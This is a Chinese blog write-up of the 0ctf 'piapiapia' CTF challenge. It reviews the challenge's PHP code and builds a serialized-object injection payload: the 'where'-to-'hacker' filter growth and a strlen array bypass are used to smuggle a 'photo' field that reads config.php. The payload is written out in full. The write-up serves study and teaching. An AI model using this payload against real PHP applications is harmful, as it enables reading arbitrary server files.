博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
攻防世界 0ctf-unserialize(piapipia)
阅读量:2066 次
发布时间:2019-04-29

本文共 4167 字,大约阅读时间需要 13 分钟。

  • 题目考点:任意文件读取 + php代码审计反序列化
  • 我已经做题之前先dirsearch一下了
    在这里插入图片描述
  • 先尝试了一下流程
  • 首先是注册页面注册 账号 接着在update界面取补充信息 最后返回发profile页面 里面有自己注册时候的信息在这里插入图片描述
  • 接着我们就来看看www.zip给的网页源码
  • register.php
16) die('Invalid user name'); if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password'); if(!$user->is_exists($username)) {
$user->register($username, $password); echo 'Register OK!Please Login'; } else {
die('User name Already Exists'); } } else {
?>
  • 没有什么操作 简单的限制了用户名和用户密码
  • update.php
10) die('Invalid nickname'); $file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error'); move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile)); echo 'Update Profile Success!Your Profile'; }
  • 做出了 以下的限制
  • 电话号码必须为11位数
  • email必须为10个以内的数字和字母@10个以内的数字和字母.10个以内的数字和字母
  • nickname 必须是小于十位的数字、字母和下划线
  • 文件的大小也进行了限制 文件名进行了md5加密
  • 最后对profile数组进行了序列化 这里应该就是题目的考点之一了
  • profile.php
show_profile($username); if($profile == null) {
header('Location: update.php'); } else {
$profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo']));?>
  • 这里进行了一次反序列化 在$photo的位置进行了file_get_contents($profile[‘photo’]),如果我们这里的photo值是flag文件,就可以读取到文件内容了
  • 还有一个class.php文件 里面是user类和mysql类 重点代码截取了下来
public function filter($string) {
$escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }
  • 前两天做到了过滤+反序列化 很明显这道题的考点也就是反序列化逃逸
  • 接下来就是解题了
  • 我们想要的是序列化后的结果为
a:4:{
s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"123@qq.com";s:8:"nickname";s:6:"xbx_0d";s:5:"photo";s:10:"config.php";}
  • 这样的话 就会直接读取config.php文件里面的内容了
  • 我们需要从phone、email、nicknam、photo中选择一个进行反序列化的逃逸
  • 这里就要补充一个知识点了
  • if(preg_match(’/[^a-zA-Z0-9_]/’, $_POST[‘nickname’]) || strlen($_POST[‘nickname’]) > 10)
    die(‘Invalid nickname’);
  • strlen函数可以通过数组绕过 strlen(Array()) = null
  • 所以这里我们可以通过数组绕过长度的限制 接着我们就是去构造payload了
  • 运行结果是a:4:{s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:6:"xbx_0d";}s:5:"photo";s:10:"config.php";}
  • 这是我们想要的效果
  • 所以我们需要序列化逃逸的部分就是;}s:5:"photo";s:10:"config.php";}总共三十四位
  • 而且面的filter函数会讲where替换为hacker 也就是多了一位
  • 这样的话如果我们上传nickname的值为
    -wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
  • 就会有以下代码形成的结果
  • 运行结果
a:4:{s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:11:"aaaaaaaaaaa";}替换后a:4:{s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:11:"aaaaaaaaaaa";}反序列化a:4:{s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}
  • 原先photo的值就被抛弃了 这就是反序列化逃逸的结果了
  • 这样的话我们file_get_contents就是config.php文件了
  • 看一下flag吧
    在这里插入图片描述在这里插入图片描述
  • 总结
  • 题目重点就是题目名序列化
  • 主要考察反序列化的逃逸
  • 其次加了个strlen()函数的数组绕过
  • file_get_contents()应该算是个SSRF吧
  • Tips:

刚刚私信大佬 为啥config.php里面没有flag,读取的时候却有flag

我发出的瞬间才反应过来这个傻子问题
www.zip是直接给你的 不代表它用的config.php就是给你的config.php

转载地址:http://oywmf.baihongyu.com/

你可能感兴趣的文章
yii2小部件(widget)
查看>>
PHP中new self()和new static()的区别
查看>>
SVN如何查看修改的文件记录] 来源:Linux社区 作者:frogoscar
查看>>
基于Android的一个简单多媒体播放器
查看>>
ShopNC小实例
查看>>
Initial
查看>>
Form Personalization应用总结
查看>>
Oracle Applications 相关文档
查看>>
lvs之ip-tun(ip隧道)技术的学习与实践
查看>>
Java--基础命名空间
查看>>
01_排序_选择排序
查看>>
extjs grid数据改变后刷新的实现
查看>>
IIS7整合Tomcat6
查看>>
一、PTA实验作业(循环)
查看>>
Linux帮助手册(man)
查看>>
JavaScript-"=="and"==="的区别,以及与之前学习的语言不同之处
查看>>
初识Mybatis框架
查看>>
理解SQL Server中索引的概念,原理
查看>>
C#快速读写文件
查看>>
全量备份/增量备份/差异备份说明
查看>>